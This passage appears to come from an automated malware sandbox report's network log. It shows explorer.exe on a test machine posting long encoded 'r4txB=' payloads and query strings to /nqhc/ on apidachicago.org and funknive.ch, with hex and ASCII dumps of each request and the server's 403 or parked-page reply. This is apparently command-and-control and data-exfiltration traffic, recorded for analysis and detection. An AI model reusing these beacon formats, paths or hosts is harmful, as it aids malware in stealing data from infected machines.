r4txB=394x0pdxA_61dAjG4NEDBiCopMzf1HRSIJYxz4HWku8DrcsepM3dRATw8Bp8Ml1VCUv-0gRDHMULgD1qtWSqd8YaUb(hLl1qd_ISJ4oQm7Oky0ADrD6b~L6vd-oqsiRXltSTGUAMwauilu5l(LwjV-dOmhJCOVI6fiUtLoG8kpxgwM7b8xPnQo~RmytslTq79_oBA2K6fDV8Hemd4EtrzK7r0btOzC5YaCKRF0ELgs6zE0dSpXk3gDnmtCLAN_1kFSwmBINeq8Gkwb9EsuyaLzIWa4hyXca-9_eWq3XqoKJK8urspl2rt-PLBTSmDK43R0wK7R8uJgyAHOpVN_nwmoPPyAEdryb_(f7saijjLEPJ~WaeXuFsAP5RFhS93_X7PrrIaS5PyZHN8zECp886S7A7ZjCZa2YJFaZ6Q6~1f2fYz5dm5M9EDezf7rqJoAxiPXgNcaUvzH2RzwXWcRnSkbSz6_VtW9~Vkz5IFHtOp7U6ODZfNFd37_ng8IbE1B0JCb7Hk2E.
Nov 21, 2022 19:22:14.268018961 CET	1017	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 21 Nov 2022 18:22:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Nov 21, 2022 19:22:14.268090963 CET	1017	IN	Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Nov 21, 2022 19:22:14.268141985 CET	1017	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.11.20	49862	194.245.148.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:16.295747995 CET	1021	OUT	POST /nqhc/ HTTP/1.1 Host: www.apidachicago.org Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.apidachicago.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.apidachicago.org/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 33 39 34 78 30 70 64 78 41 5f 36 31 64 41 6a 47 34 4e 45 44 42 69 43 6f 70 4d 7a 66 31 48 52 53 49 4a 59 78 7a 34 48 57 6b 76 45 44 71 75 30 65 6f 71 28 64 51 41 54 77 78 68 70 39 4d 6c 31 79 43 56 48 36 30 67 55 2d 48 4f 63 4c 67 51 68 71 74 45 71 71 4e 4d 59 5a 59 37 28 76 50 6c 30 78 64 5f 55 47 4a 37 55 41 6d 71 36 6b 7a 32 59 44 36 41 6a 4e 77 37 36 54 64 2d 6f 6d 6e 43 52 6c 6c 74 58 65 47 55 4d 4d 77 59 71 69 6b 64 42 6c 73 4d 6b 6a 42 65 64 4e 73 42 4a 64 55 6c 49 35 66 6a 30 35 4c 6f 48 44 6b 71 39 67 77 4c 50 62 75 6d 6a 6b 52 49 7e 52 34 69 74 76 7a 54 58 38 39 5f 63 5a 41 33 7e 36 66 41 56 38 45 2d 6d 64 70 56 74 71 33 71 37 68 77 62 74 6a 33 43 31 41 61 43 32 46 46 77 55 4c 67 34 71 7a 46 46 64 53 36 47 6b 33 74 44 6e 6b 7a 43 4b 45 48 66 31 6f 46 53 67 4c 42 4d 78 4f 71 37 7e 6b 69 76 70 45 71 4c 47 56 4d 54 49 55 66 34 67 36 54 63 65 69 39 2d 75 4b 71 33 58 41 6f 4c 4e 4b 38 65 62 73 6f 6b 32 6b 75 75 50 4d 4a 7a 54 79 4d 71 30 74 52 30 74 48 37 51 45 2d 4a 68 32 41 48 75 70 56 62 4d 28 33 78 6f 50 32 74 51 45 4c 6c 53 62 6f 28 66 32 4e 61 6e 53 65 4c 33 37 4a 34 6d 4b 65 51 2d 45 36 45 76 35 56 65 52 53 42 6d 76 58 37 50 72 6e 36 61 53 6c 50 79 6f 76 4e 39 45 67 43 76 74 38 36 42 72 41 39 5a 6a 43 49 61 7a 42 33 46 61 52 6c 51 36 75 62 66 77 76 59 7a 6f 4e 6d 36 4e 39 44 54 2d 7a 65 28 72 71 65 32 77 39 31 50 58 38 46 63 61 45 5f 77 33 4b 52 31 45 37 57 59 52 6e 52 69 37 53 34 39 5f 56 37 48 74 7a 4b 6b 33 52 79 46 45 78 65 70 38 41 36 4f 48 6f 4c 56 55 4d 67 6e 50 37 4f 79 59 50 33 32 58 6b 4a 47 5a 50 35 34 54 30 57 64 47 70 41 28 73 31 52 76 71 38 36 47 5f 31 69 74 79 6a 30 58 45 52 7a 64 4a 41 55 6a 63 71 79 79 4c 69 41 5a 70 68 61 69 42 41 41 37 76 71 71 44 64 48 43 4b 4a 4b 58 4e 37 6e 32 4c 6c 55 42 42 45 54 50 63 67 61 31 51 32 36 57 56 6f 7a 53 64 38 57 76 6e 64 5a 54 70 4e 6b 62 69 61 4a 4a 57 77 48 72 53 4a 62 73 43 74 37 4d 6a 38 34 79 42 63 53 6f 68 34 37 33 41 48 50 54 4e 38 72 78 59 42 66 31 56 6c 5a 79 68 4e 72 6a 59 56 59 5a 41 6e 7e 38 72 54 31 45 75 67 54 6f 53 67 76 58 73 5f 42 53 6f 74 68 48 4e 41 4d 76 47 68 58 39 6e 33 59 72 58 30 65 67 45 58 4a 6b 75 5f 4c 6d 39 73 6b 56 6f 73 61 72 4f 6e 77 36 44 52 79 77 78 78 70 59 46 50 61 44 38 67 34 52 6d 33 6b 39 58 53 59 39 55 5a 42 6b 6a 34 68 43 6f 73 51 76 6e 47 44 77 4c 70 42 4b 72 5f 49 31 28 67 65 4e 6e 7a 31 32 30 45 52 68 77 46 44 49 74 46 65 71 33 6c 31 43 33 50 45 53 78 61 31 6e 34 68 76 72 74 4a 32 37 6d 64 53 4f 6f 62 62 38 39 4f 59 75 31 46 6c 33 39 6f 44 4d 54 33 41 65 28 64 54 68 48 66 52 70 6e 30 47 37 53 63 4b 74 32 46 36 79 58 62 64 58 45 64 42 6b 28 32 30 35 7e 6e 65 64 6c 50 6c 61 5a 4f 4f 6b 54 62 28 51 39 4d 51 4b 63 4a 58 78 39 57 64 4c 53 47 38 69 37 2d 4a 4c 30 70 42 41 6a 6a 73 67 70 32 66 7a 67 4c 67 73 58 32 64 7a 62 78 44 37 33 62 53 37 77 6b 4d 6d 47 31 59 66 75 38 73 57 33 61 7a 71 32 49 4e 59 4d 64 4c 35 4b 41 34 65 6c 57 49 69 6e 57 32 30 78 67 51 66 39 4d 69 38 33 79 56 5f 7e 2d 63 71 43 43 78 46 48 74 4d 36 41 6d 71 50 6c 48 4f 39 63 5a 34 4f 6f 4e 7e 6b 64 54 42 4e 7a 74 35 79 4c 6e 6a 71 77 51 6b 56 52 73 69 54 42 45 47 45 68 6e 44 4e 58 4e 31 66 70 33 54 70 6f 73 78 53 74 56 31 65 34 32 52 31 5a 55 55 70 32 50 28 44 35 70 4d 66 5a 41 63 46 68 36 44 6e 71 33 48 4a 35 48 38 33 47 32 77 54 51 6b 7e 48 72 76 4b 52 44 31 55 30 36 68 75 76 77 6c 7e 57 63 78 64 79 33 49 50 5a 7e 44 52 48 75 55 49 75 6b 38 32 38 4b 31 65 69 44 75 58 56 70 33 53 6c 4a 45 4f 31 39 35 6a 77 65 6b 6c 47 4f 44 74 66 48 6e 7a 34 44 56 30 67 44 6c 52 32 51 42 6a 57 56 4d 5a 67 47 7a 76 44 53 55 43 4e 33 39 4e 33 51 4a 53 78 64 43 74 45 5a 75 39 4d 61 47 42 57 70 54 4e 50 45 50 61 34 63 59 59 57 48 32 6a 32 72 41 69 66 4f 4d 55 32 71 65 7a 67 4d 73 72 73 53 6d 74 48 7e 34 4c 68 6e 33 43 42 57 36 70 72 32 53 48 4e 53 4d 44 78 56 33 56 51 43 35 4c 6b 45 6f 51 45 4f 50 65 56 66 51 6b 39 65 35 65 54 41 70 54 65 44 39 38 6d 33 38 30 44 47 5f 4c 37 37 6f 36 77 4e 74 6c 54 79 38 6a 44 72 77 32 6f 70 5a 6a 50 4a 32 39 67 52 57 46 43 30 55 45 64 67 48 67 5f 7a 79 63 5f 65 39 59 74 68 72 4e 56 61 37 28 55 59 75 61 6d 58 Data Ascii: r4txB=394x0pdxA_61dAjG4NEDBiCopMzf1HRSIJYxz4HWkvEDqu0eoq(dQATwxhp9Ml1yCVH60gU-HOcLgQhqtEqqNMYZY7(vPl0xd_UGJ7UAmq6kz2YD6AjNw76Td-omnCRlltXeGUMMwYqikdBlsMkjBedNsBJdUlI5fj05LoHDkq9gwLPbumjkRI~R4itvzTX89_cZA3~6fAV8E-mdpVtq3q7hwbtj3C1AaC2FFwULg4qzFFdS6Gk3tDnkzCKEHf1oFSgLBMxOq7~kivpEqLGVMTIUf4g6Tcei9-uKq3XAoLNK8ebsok2kuuPMJzTyMq0tR0tH7QE-Jh2AHupVbM(3xoP2tQELlSbo(f2NanSeL37J4mKeQ-E6Ev5VeRSBmvX7Prn6aSlPyovN9EgCvt86BrA9ZjCIazB3FaRlQ6ubfwvYzoNm6N9DT-ze(rqe2w91PX8FcaE_w3KR1E7WYRnRi7S49_V7HtzKk3RyFExep8A6OHoLVUMgnP7OyYP32XkJGZP54T0WdGpA(s1Rvq86G_1ityj0XERzdJAUjcqyyLiAZphaiBAA7vqqDdHCKJKXN7n2LlUBBETPcga1Q26WVozSd8WvndZTpNkbiaJJWwHrSJbsCt7Mj84yBcSoh473AHPTN8rxYBf1VlZyhNrjYVYZAn~8rT1EugToSgvXs_BSothHNAMvGhX9n3YrX0egEXJku_Lm9skVosarOnw6DRywxxpYFPaD8g4Rm3k9XSY9UZBkj4hCosQvnGDwLpBKr_I1(geNnz120ERhwFDItFeq3l1C3PESxa1n4hvrtJ27mdSOobb89OYu1Fl39oDMT3Ae(dThHfRpn0G7ScKt2F6yXbdXEdBk(205~nedlPlaZOOkTb(Q9MQKcJXx9WdLSG8i7-JL0pBAjjsgp2fzgLgsX2dzbxD73bS7wkMmG1Yfu8sW3azq2INYMdL5KA4elWIinW20xgQf9Mi83yV_~-cqCCxFHtM6AmqPlHO9cZ4OoN~kdTBNzt5yLnjqwQkVRsiTBEGEhnDNXN1fp3TposxStV1e42R1ZUUp2P(D5pMfZAcFh6Dnq3HJ5H83G2wTQk~HrvKRD1U06huvwl~Wcxdy3IPZ~DRHuUIuk828K1eiDuXVp3SlJEO195jweklGODtfHnz4DV0gDlR2QBjWVMZgGzvDSUCN39N3QJSxdCtEZu9MaGBWpTNPEPa4cYYWH2j2rAifOMU2qezgMsrsSmtH~4Lhn3CBW6pr2SHNSMDxV3VQC5LkEoQEOPeVfQk9e5eTApTeD98m380DG_L77o6wNtlTy8jDrw2opZjPJ29gRWFC0UEdgHg_zyc_e9YthrNVa7(UYuamXPNAEQNrp0LZLjzqhk4edvZkY9AROUdXRfAqCiF7hKmGjLPKT2akT64cBzI3yT~l87fMlGKM8Fscf8lPh0ih4JvGMs4PueBQQcF5PNDjXgjsnBgsmBbR6YdzBXdhIc2JN3252OWKdEOP2dwT7UOiuLIT2l6Czln1QGE8qDR1EkaHZ0RSVlSlk9IA3c4XBtVH(m5ZhJUYKzCGjn2Zx2DseBsBJGFq(McaInz1sE2Op0CG(5j8S8Dc7qiq2ErgbI59wXxs(MANRe3o2wJsFyB1KifVSVLX0DeZ0_b8DLtm(DovUZmxWi7a4idHJxTWSkT-dAwHmRbNNJeu4xoM3bqERalQNawn5Rj3kBDqqROnCzfAubWsvpJETxOJZS6x9_ATvIBS~NZSZkxg3_d-QFeaiF8vmeYc9AAgdqHxTZ8A9QF5kS4kOe1Jsl8xelmTXiHC7RApZUxhIOQpm4KAEPhBOp7MIKmZlqhU0BsUVwEkFdaA50khYQ(Bk9BqQNv_BByw10F-ycykW5LOBwxt5iBB6hmPsNGWhDIXRxNqgPsIHFR0fnzYckRqy6uQ155Zlgfq8ZFG4eJ_IZtMcvABj3c_ZgMPYLr_z3qisdR9SbBNXpPb1DYzd3WQg0aSTnHqvNys(Hp6w7cKYEftgTlMUyrqI5b2XKF6H8nBeBfshFI9u692rIqHCEqMKTuBzAQvpWOACf~p8iHCFuT9xf(aIKpHfDhkB1WKEB6SzuMlX1I8dDDblh4e1Bdx2NfADeZmqqNVOju0qfMHC-IbPnK2R1xYfnBl~ECNFN5HQyLBHTXV5DcbgdjXfS1bHFngF_r5C1ILhzUnSmkF~ROvPO4C6q4KlKL3Q5li7ET_48e11Fcvbp~ONPdR9-3O0HkAT4r5E30ARB7nMoSRB1KUDX4PH7Ub5KmwHf31yQoMNef74mAH3T7HfSGnK_LQle6u1Cr8ubqT5wA5mXRZzzlrK1PTyogfaB5B2Ugcf8laa8TGIY9k9yoj1SkIcGUzl5PtqcNGDmkUE2bgWa~v8YG3UxeS8JmPvFyAo5mS(O1JX1ilGLM99OqKZe3xLsmAFZQ0NpSI6BWOtZaFSQ81SLFwufwsnZkkQjyE1pHZALwlQwlEW5HKavVD4GnTGWmv9i1LV3cS(37Vuq76NRvdQ0cAmWlFjoSRkEIlzNxeCUKPod~YDJf7oy5KO0(AAGAqDpLRS-QiP-DvdzgecTAiNLR3wPP2PUqh6JTbe7GskADzias5vx1EcNoCCxZr0tx1jP(aShIqcFbRxwIgAUPLKB1sZiswuiB3GNGB4s7oM50E~vim(5Ek9NPMUIV0nrGqiXJNPTKtOZWjtkajIJQ5CNK5FT0KA_msc9rdR6V_Q0PgwYgPee34XLDrfe1PLCYKOBgSpBjpeUetL4gJVnsNYGOZP7Xmpz23h584D2ntherFMzfmvc8wHmHhBwVdD-YbFzgCwga0HqR8jQadFtmql2ufIvmYRmX74DjH6N4AWS4pyc2M9wpVja92Fa(l9FfnJ253fMNrRSAJHFk_GvT1G_XkUOKLQKxgo7c5z3nH~UDXvTVX(38kSOYl4dEZOUNkAsMm8sg7GT07bKK1n2HALgW3KdvLolHLLbK9tS4KDZcIgY0rBeD17Z9UqUBV0xeGlm3tn7DmQLFd(9nFsCOcBiewxvoq8rvivw61e_dgDEUO7UW3CoT2aL78OaKIuWMChOdghUXxRsyM5j6KtngtetfHSRhHtSlAwZV-Dx8MfCiqSac1TGCLGL5zccO2wbnwae8niWOmNDCH57PzKp4UI8v-KUnZkTcTlZfQHV7G3KNbNFfWypTrQ_gqYrze81~Hu9MaKq(rswPRNsvyjFdgY5h9DVE-sS~_xGMhKn8ugRTCI1nkUdlfTIxNWlpROw1UZqYDLmpt73UsUdJRwZIDmpH5JjQc3Yc4FmdM8co0zMwo0zWpTeZRUGIf9jDum1CjWizHiXsnTlBrBfbk8B9YUFfk39GlaA(xY_vwj0X0hT8K3BQs9K7g18NATdxYhmpi4c(cefhQhfklRP22U3Ou6WSSXmH27nG3~MLfDHCfltSO6CzkwVE0PV
Nov 21, 2022 19:22:16.295847893 CET	1030	OUT	Data Raw: 70 38 4f 7a 5a 75 5a 6d 31 58 68 45 4a 4c 69 57 65 73 7e 59 6c 4e 53 4a 6f 35 39 51 34 4e 74 37 4b 73 6e 72 62 71 74 43 28 73 74 75 73 58 74 66 69 53 32 4e 44 35 70 73 44 50 4e 72 35 49 57 75 59 64 62 7a 6f 64 58 74 61 41 28 6b 32 54 62 54 52 36 Data Ascii: p8OzZuZm1XhEJLiWes~YlNSJo59Q4Nt7KsnrbqtC(stusXtfiS2ND5psDPNr5IWuYdbzodXtaA(k2TbTR6xkZLhEYUyCBPySrzcOmE83tNpOHvv1jcYz8jKgYuYRRwDAIGY2ICjhkoB6QNLD9g~QSKFwEJepDCOY4yDrDo1SbN2qbh66MwMBz-jPNTqJJIjc9ft9J4GY038ClYesaDlwDJGFhimkctZfj_bn6RMD4cAZC6frj06
Nov 21, 2022 19:22:16.313777924 CET	1031	OUT	Data Raw: 53 61 75 59 7e 61 67 49 6a 52 41 46 6f 79 76 53 6b 44 6a 76 43 61 37 59 65 6e 4b 71 32 67 4a 61 64 46 46 66 7e 38 35 67 39 6c 77 42 4c 35 53 4e 38 36 39 41 43 44 51 38 57 31 6a 6f 72 37 35 75 63 44 44 61 59 6f 66 7a 50 6b 38 59 61 52 6a 6c 70 68 Data Ascii: SauY~agIjRAFoyvSkDjvCa7YenKq2gJadFFf~85g9lwBL5SN869ACDQ8W1jor75ucDDaYofzPk8YaRjlphJvE1rNf1JszRS016(QtuxqIGeh(iPxfypLMNraG00Ig8kxLaC_lcx6kVwywCHzkldLpBXGhMU7zSGwnHp0godC1CKrXuDArV4jHQckfCYFtEDFjzBtJ13RhpeNYd(be0frw5Y8oJF2NRMu5JWjdlIKRY84R6wp0Nw
Nov 21, 2022 19:22:16.313836098 CET	1033	OUT	Data Raw: 77 72 59 6a 4c 73 28 76 37 65 63 6e 72 74 35 49 6a 69 7e 6a 62 72 7e 67 76 44 37 47 59 61 7e 58 47 54 72 4c 48 78 6c 75 63 42 62 61 33 39 74 4a 4a 62 34 6c 74 58 46 47 44 4e 49 77 32 6a 4e 4a 46 74 70 57 64 65 6a 4b 41 72 58 79 32 55 6b 66 41 63 Data Ascii: wrYjLs(v7ecnrt5Iji~jbr~gvD7GYa~XGTrLHxlucBba39tJJb4ltXFGDNIw2jNJFtpWdejKArXy2UkfAcIqYjmsJ-2zpYNVJ-CCGjULmYLZEQ(02Djkher2Cuf1waMXf93hL-8JmpskTTkpr6JqsBf7qH52xduDXYxk2tqOZwyofP(OC5VtIeQ7orAxikqF6WQPRanICZGGrcldOaU2iJiize~4ptazLa4AebqZuOpLu2hB8yK
Nov 21, 2022 19:22:16.313900948 CET	1035	OUT	Data Raw: 6d 4c 61 46 65 45 55 78 44 49 41 62 43 32 58 43 49 6d 35 57 4b 51 70 59 5a 4d 30 6f 47 6b 67 53 63 50 4c 48 73 33 79 6b 42 47 4f 5f 6d 67 74 55 41 4b 64 51 74 5a 71 33 62 70 33 59 56 4b 36 6e 51 77 76 44 66 4d 6a 33 4a 67 47 30 4b 55 63 6f 54 67 Data Ascii: mLaFeEUxDIAbC2XCIm5WKQpYZM0oGkgScPLHs3ykBGO_mgtUAKdQtZq3bp3YVK6nQwvDfMj3JgG0KUcoTgx1371nVBNwx2Lg89CzSQI7wj(qxnRHrh~tLYZv28MVwgXtUMzOnZZNdiGbxRee9fVaa5bCdNq8MIWd4BM6M6KyttOl8nI6yAw3GnGA1163fB6iLOHNlKhqLNVxU4XznidyYYrWPpztytVcShnS7zP5jECdvmUIbGV
Nov 21, 2022 19:22:16.314121008 CET	1037	OUT	Data Raw: 77 39 53 77 4d 41 56 63 77 33 6c 67 7e 73 6f 61 43 49 45 66 52 73 73 55 47 58 57 30 4a 78 51 49 56 5a 6f 55 55 69 51 50 36 7a 30 78 68 6e 54 71 61 50 76 6a 67 78 53 35 45 51 31 67 55 69 4c 48 69 47 46 68 31 77 70 57 45 41 4e 4f 72 6c 45 2d 41 6d Data Ascii: w9SwMAVcw3lg~soaCIEfRssUGXW0JxQIVZoUUiQP6z0xhnTqaPvjgxS5EQ1gUiLHiGFh1wpWEANOrlE-AmVv8LgCZAPr8y~6p0FO2VOMtFyG79IzANT6sUPHtqz3wR76aJF1dnzGcKoQaX82chorbYeqEtCR4eGBwdjoS2rBly0KGZmxGsjtWs3r7_2MRjpjJ19FLDNGml6P(cwPQ8kpJTblO3G0TXeP9anZtl0pqkGIUZNgBx7
Nov 21, 2022 19:22:16.314280987 CET	1048	OUT	Data Raw: 53 51 64 56 7a 44 70 41 55 41 70 75 33 50 6c 4d 73 31 57 4f 4b 63 4e 4e 66 31 55 4e 74 62 53 4a 66 31 66 5f 6a 5a 70 39 35 5a 4d 53 35 41 35 58 4b 34 53 45 51 59 4e 35 51 41 30 30 66 63 39 49 45 74 56 61 75 39 67 45 39 42 64 69 51 77 41 53 4d 2d Data Ascii: SQdVzDpAUApu3PlMs1WOKcNNf1UNtbSJf1f_jZp95ZMS5A5XK4SEQYN5QA00fc9IEtVau9gE9BdiQwASM-uZg6EtxiTecEDRky56wrK0WUZyUlXUsDh1NnIBjS~jHkCXyOIdzN9vcwOdj_SqQOkuD2yk4TUwIk9qad(Aih9_gMeiaPACUI62ADYBCG7ZDprdY9DsSXgrv5xqpRuClIhqs_FpMQRMLF7jcqUXYqxV(9OGgj5OO2Z
Nov 21, 2022 19:22:16.314448118 CET	1053	OUT	Data Raw: 78 4d 41 70 4a 36 35 48 71 39 73 72 39 42 47 38 4f 6e 63 6f 33 39 47 57 79 6f 7a 67 56 32 75 68 61 47 43 45 41 56 54 47 62 6f 31 6d 78 55 49 64 65 4f 63 48 6b 63 36 75 79 70 46 53 6d 6e 41 76 55 4e 61 6c 70 42 47 30 37 68 36 42 66 6c 35 4f 38 48 Data Ascii: xMApJ65Hq9sr9BG8Onco39GWyozgV2uhaGCEAVTGbo1mxUIdeOcHkc6uypFSmnAvUNalpBG07h6Bfl5O8HG6yu(Bn9Nfl7~Gno3wteMIaOlIT30O5H6t~0h4FAm6e0PcdgAlyeVEXTSwPLf9fgOWTmycmEzAVtFL06rEAhxbvGH-FtgMwYMZ120TSrFlEeJxxituZy6EHawPJtrBnkELZIv5XRjWnyZZNAkjRwkFJLTwqsiOi52
Nov 21, 2022 19:22:16.314635038 CET	1056	OUT	Data Raw: 47 70 6f 6e 7a 37 48 54 41 4f 6e 32 59 70 64 37 75 42 49 4b 43 31 58 72 33 67 4a 37 59 6f 50 6c 4e 59 42 76 34 55 6b 74 56 71 44 47 34 6a 28 4b 31 65 52 4b 48 33 72 64 6d 4a 47 4a 57 72 54 33 41 42 6a 51 6b 67 69 2d 56 45 4a 35 34 41 42 59 67 4c Data Ascii: Gponz7HTAOn2Ypd7uBIKC1Xr3gJ7YoPlNYBv4UktVqDG4j(K1eRKH3rdmJGJWrT3ABjQkgi-VEJ54ABYgLrOoAMtlIqympMK2bWDS9lwQNalEhyeK9Nn1Lb4BEcX(pHcH7O52HGyQ4oZhiDA7fw76dHvCdqyA_DtOmwHtyL2C_lHl1pxKc~ZSElmL2A_2xlOs9UbWbaKWGPs(ahG1ojsDD29p_L9IrduYjmE39AEI-6Fudc-JCv
Nov 21, 2022 19:22:16.332362890 CET	1061	OUT	Data Raw: 75 31 35 50 4a 76 34 69 63 30 5a 33 75 68 47 5a 50 58 50 5a 58 57 67 57 59 72 38 66 6f 62 46 75 71 43 56 66 4d 75 62 45 6d 33 43 65 79 4b 5a 41 32 6d 38 64 56 44 58 43 58 70 42 63 4c 4f 31 76 6c 72 37 54 54 36 28 52 46 5a 4a 56 68 34 4c 31 73 38 Data Ascii: u15PJv4ic0Z3uhGZPXPZXWgWYr8fobFuqCVfMubEm3CeyKZA2m8dVDXCXpBcLO1vlr7TT6(RFZJVh4L1s815l4nSHHWcow5R6xzhaS2dhS7eX0Yu3gGcM5szy1AfWf8Vcus4dObAOEc6GRDEwQJjIkn3ow7-3hHI38lWVF0C2kYoezJYW_VFhCeiwL~amGg5457mWD0F1pHT9o6bVfWtoC~pDeYFg4pqBtyXFP1tn6lHvRzeqER
Nov 21, 2022 19:22:16.332454920 CET	1069	OUT	Data Raw: 49 71 7a 7a 6c 4d 6f 42 54 47 32 32 58 77 68 52 7a 66 32 74 64 38 34 38 31 7a 69 68 48 41 57 52 50 4d 53 66 76 6f 4b 76 57 6e 63 79 41 58 76 58 67 32 5a 51 4a 58 66 7a 79 62 34 37 61 52 42 4e 4a 73 62 4e 76 73 50 34 30 36 47 51 28 73 71 55 63 64 Data Ascii: IqzzlMoBTG22XwhRzf2td8481zihHAWRPMSfvoKvWncyAXvXg2ZQJXfzyb47aRBNJsbNvsP406GQ(sqUcdkR1b1EtyR-HNVIAnl0AmUvikezsz8lgmPyig73sjoeMcnh982BYkA_rob5BH1t~KHnNooL2sSxg0QhTQsIoa8aDflH6FYf3BColkrPKZ7Ex1oEul(xibD1kK4-aLcjUtobC-xIAwy68bZtzhCiqZ0vIKSFYnuzQhW
Nov 21, 2022 19:22:16.351340055 CET	1070	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 21 Nov 2022 18:22:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Nov 21, 2022 19:22:16.351399899 CET	1070	IN	Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Nov 21, 2022 19:22:16.351445913 CET	1071	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.11.20	49863	194.245.148.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:18.340101004 CET	1071	OUT	GET /nqhc/?r4txB=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&1b=S8jD HTTP/1.1 Host: www.apidachicago.org Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:22:18.359204054 CET	1072	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Nov 2022 18:22:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1840 Last-Modified: Tue, 04 Apr 2017 13:56:46 GMT Connection: close ETag: "58e3a61e-730" Accept-Ranges: bytes
Nov 21, 2022 19:22:18.359293938 CET	1073	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> ... The above 3 meta
Nov 21, 2022 19:22:18.359318018 CET	1073	IN	Data Raw: 63 63 65 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 6f 6b 65 72 2e 63 6f 6d 2f 3f 70 6b 5f 63 61 6d 70 61 69 67 6e 3d 50 61 72 6b 69 6e 67 26 70 6b 5f 6b 77 64 3d 74 65 78 74 22 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 3e 4a 4f 4b Data Ascii: ccess" href="https://joker.com/?pk_campaign=Parking&pk_kwd=text" role="button">JOKER.COM</a></p> </div> <footer class="footer"> <p>© 2017 CSL GmbH / JOKER.COM</p> </footer> </div> ... /container -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.11.20	49864	185.101.158.239	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:23.422699928 CET	1075	OUT	POST /nqhc/ HTTP/1.1 Host: www.funknive.ch Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.funknive.ch User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funknive.ch/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 68 4e 41 6f 7a 4a 5a 58 6a 5a 4f 6b 7e 4f 61 78 46 4a 6b 4a 55 68 76 31 64 68 65 6e 71 4b 52 56 59 6b 55 63 6f 5a 36 64 57 61 44 30 54 55 63 58 55 78 7a 56 33 45 48 33 66 4a 39 47 64 57 6a 44 43 79 39 56 76 72 51 63 48 72 30 69 72 47 48 73 61 6d 56 41 62 67 63 75 52 45 70 76 44 5f 67 4f 69 51 69 4c 61 46 70 34 6b 4e 48 71 4f 73 6b 59 4f 79 48 36 53 45 70 72 68 49 49 6a 4a 64 38 72 6a 34 59 72 35 65 6c 38 6f 37 6e 77 4e 41 42 43 78 55 58 5a 33 63 76 6b 71 68 54 33 31 47 6a 5f 70 78 28 39 37 30 30 69 72 61 76 6e 65 72 47 30 52 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=hNAozJZXjZOk~OaxFJkJUhv1dhenqKRVYkUcoZ6dWaD0TUcXUxzV3EH3fJ9GdWjDCy9VvrQcHr0irGHsamVAbgcuREpvD_gOiQiLaFp4kNHqOskYOyH6SEprhIIjJd8rj4Yr5el8o7nwNABCxUXZ3cvkqhT31Gj_px(9700iravnerG0RA).
